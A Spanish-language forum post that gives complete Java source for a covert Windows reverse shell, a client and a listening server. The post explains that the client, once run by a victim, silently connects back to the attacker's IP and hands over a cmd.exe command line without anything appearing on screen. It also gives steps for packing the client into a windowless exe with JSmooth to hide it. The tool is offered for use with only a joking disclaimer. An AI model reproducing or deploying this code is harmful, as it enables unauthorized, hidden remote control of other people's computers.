Bueno, dado que no tuve maneras de hacerlo con python, lo he acabado haciendo en Java XD
Aunque ha quedado mas largo de lo que me gustaria....

Bueno, pues es eso, dejais a la escucha el servidor y cuando alguien ejecute el cliente os devuelve acceso a una linea de comandos sin que a el le aparezca nada :3

Hay que ponerle tu ip y un puerto en los valores por defectos dentro del cliente para que se conecte automaticamente
En cuanto al puerto, cuanto mas alto, mas gloria (no useis uno bajo...)

Lo suyo es que si lo vais a usar comprimais en un jar el servidor y en otro el cliente, y luego el cliente lo convirtais en un exe con JSmooth
Para ello en el JSmooth le poneis:
-En Skeleton: Windowed Wrapper y le borrais todos los mensajes
-En Executable los valores que querais
-En Application le añadis el jar y le selecionas la main class, acordaros tambien de añadir el mismo jar en lo de embedded jar


Cliente

-Main

/**
 *
 * Autor: Danther
 * Fecha: 03/08/2009
 *
 **/
 
package reverse_cliente;
 
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.Socket;
 
public class Main {
 
    private Socket s;
    private BufferedReader comandos;
    private PrintWriter envioRespuesta;
    private PrintWriter envioComando;
    private BufferedReader lecturaComando;
    public static boolean activo = true;
    private char unidad;
    private String directorio;
    private Process t;
 
    Main(String[] args){
        //Abrimos un socket hacia nuestra maquina
        try{
            s = new Socket(args[0], Integer.parseInt(args[1]));
        }catch(Exception e){
            System.out.println("Host o puerto no validos");
            System.exit(-1);
        }
        //Creamos los stream socket, para recibir los comandos
        try{
            comandos = new BufferedReader(new InputStreamReader(s.getInputStream()));
            envioRespuesta = new PrintWriter(new OutputStreamWriter(s.getOutputStream()));
            envioRespuesta.println("Conexion abierta desde "+s.getInetAddress().toString()+" por el puerto "+s.getLocalPort());
            envioRespuesta.flush();
        }catch(IOException ioe){
            System.out.println("Error al crear los streams");
            System.exit(-1);
        }
        //Obtenemos la unidad en la que se encuentra este archivo
        unidad = this.getClass().getResource("").getPath().charAt(6);
        directorio = unidad+":"barra invertida""barra invertida""; //Poner las barras invertidas de verdad antes de compilar,
                             //las he quitado por problemas con el code de phpbb
        //Abrimos el interprete de comandos en la raiz de la unidad y se lo pasamos a Lectura
        try {            
            t = Runtime.getRuntime().exec("cmd /K cd "+directorio);            
            envioComando = new PrintWriter(new OutputStreamWriter(t.getOutputStream()));
            lecturaComando = new BufferedReader(new InputStreamReader(t.getInputStream()));
            //Finalizamos el proceso del ejecutable, y dejamos solo el cmd.exe y java corriendo
            envioComando.println("taskkill /F /IM Reverse_Cliente.exe");
            envioComando.println();
            envioComando.flush();
        } catch (IOException ex) {
            System.out.println("Error al abrir el interprete de comandos");
            System.exit(-1);
        }
    }
 
    private void Reverse(){
        String com;
        String resp;
        try {
            envioRespuesta.println(lecturaComando.readLine());
            envioRespuesta.println(lecturaComando.readLine());
            envioRespuesta.flush();
        } catch (Exception u) {
            activo = false;
            this.close();
        }
 
        //Bucle principal
        while(activo){
            //Esperamos una nueva orden, en caso de ser C3rrand0 finaliza la ejecucion
            try{
                com = comandos.readLine();
                if(com.indexOf("C3rrand0") != -1){
                    activo = false;
                    this.close();
                    break;
                }
            }catch(IOException ioe){
                activo = false;
                this.close();
                break;
            }
            //Ejecutamos la nueva orden y enviamos la respuesta
            try{
                envioComando.println(com);
                envioComando.println("55221276");
                envioComando.flush();
                while((resp = lecturaComando.readLine()).indexOf("55221276") == -1){
                    envioRespuesta.println(resp);
                    envioRespuesta.flush();
                }
            }catch(Exception i){
            }
        }
    }
 
    private void close(){
        //Cerramos los streams y el socket
        try {
            lecturaComando.close();
            envioRespuesta.close();
            envioComando.close();
            comandos.close();
            s.close();
            System.exit(0);
        } catch (IOException ex) {
            System.out.println("Error al cerrar");
            System.exit(-1);
        }
 
    }
 
    public static void main(String[] args) {
        Main main = null;
        if(args.length == 2){
            main = new Main(args);
            main.Reverse();
        }else if(args.length != 0){
            System.out.println("Reverse Shell en Windows por Danther (Cliente)");
            System.out.println("====================================");
            System.out.println();
            System.out.println("Uso:");
            System.out.println("Reverse_Cliente.exe \"Tu propia ip\" \"Un puerto a la escucha\"");
            System.exit(0);
        //Si se ejecuta sin argumentos
        }else{
            String[] argsD = {"Host por defecto", "Puerto por defecto"};
            main = new Main(argsD);
            main.Reverse();
        }
    }
 
}
 

Servidor

-Main

/**
 *
 * Autor: Danther
 * Fecha: 03/08/2009
 *
 **/
 
package reverse_servidor;
 
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.logging.Level;
import java.util.logging.Logger;
 
public class Main {
 
    private ServerSocket ss;
    private Socket s;
    private PrintWriter comandos;
    private BufferedReader envio;
    protected static boolean activo = true;
 
    Main(String[] args){
        try {
            //Creamos el servidor y esperamos a una conexion entrante
            ss = new ServerSocket(Integer.parseInt(args[0]));
            s = ss.accept();
            //Creamos un stream para enviar comandos y otro para leer nuestra entrada
            comandos = new PrintWriter(new OutputStreamWriter(s.getOutputStream()));
            envio = new BufferedReader(new InputStreamReader(System.in));
            //Iniciamos el thread lectura
            Lectura lectura = new Lectura(s);
            lectura.start();
        } catch (Exception ex) {
            Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
        }
    }
 
    private void Envio() {
        String env;
        //Bucle principal
        while(activo){
            //Leemos nuestra entrada y la enviamos al cliente, si esta es C3rrand0 ceramos la conexion
            try {
                env = envio.readLine();
                comandos.println(env);
                comandos.flush();
                if(env.indexOf("C3rrand0") != -1){
                    activo = false;                    
                    this.close();
                    break;
                }
            } catch (IOException ex) {
                Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
                activo = false;
                this.close();
                break;
            }
        }
    }
 
    private void close() {
        //Cerramos los stream y los sockets
        try {
            Lectura.respuesta.close();
            comandos.close();
            envio.close();
            s.close();
            ss.close();
        } catch (IOException ex) {
            Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
            System.exit(-1);
        }
 
    }
 
    public static void main(String[] args) {
        Main main = null;
        if(args.length == 2){
            main = new Main(args);
            main.Envio();
        }else if(args.length != 0){
            System.out.println("Reverse Shell en Windows por Danther (Servidor)");
            System.out.println("====================================");
            System.out.println();
            System.out.println("Uso:");
            System.out.println("Reverse_Servidor.jar \"Un puerto local a la escucha\", \"Cualquier valor\"");
            System.exit(0);
        }else{
            //Si se ejecuta sin argumentos
            String[] argsD = {"Puerto local por defecto", "0"};
            main = new Main(argsD);
            main.Envio();
        }
    }
 
}
 
 

-Lectura

/**
 *
 * Autor: Danther
 * Fecha: 03/08/2009
 *
 **/
 
package reverse_servidor;
 
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.Socket;
 
public class Lectura extends Thread{
 
    protected static BufferedReader respuesta;
 
    Lectura(Socket s) throws IOException{
        //Creamos un stream para leer lo que envie el socket
        respuesta = new BufferedReader(new InputStreamReader(s.getInputStream()));
    }
 
    @Override
    public void run() {
        String resp;
        //Blucle principal
        while(Main.activo){
            //Leemos la entrada del socket y la mostramos
            try {
                resp = respuesta.readLine();
                if (resp != null){
                System.out.println(resp);
                }
            } catch (IOException ex) {
                System.out.println("Conexion terminada");
                Main.activo = false;
            }
        }
    }
 
}
 

Pd: Como lo useis, modifiqueis y/o integreis, es cosa vuestra :3 XD

Java es multiplataforma
La interprete de comandos para la que esta preparado mi programa es la de windows XD

No te abriria el bash de linux ni aunque se lo suplicaras XD

Gracias ^^

He modificado el cliente, ahora solo necesita una clase y no usa un thread
Con lo que ademas he solucionado un bug que tenia a la hora de cerrar la conexion (cortaba la conexion, pero no cerraba el cliente)


PD: No hagais maldades... XD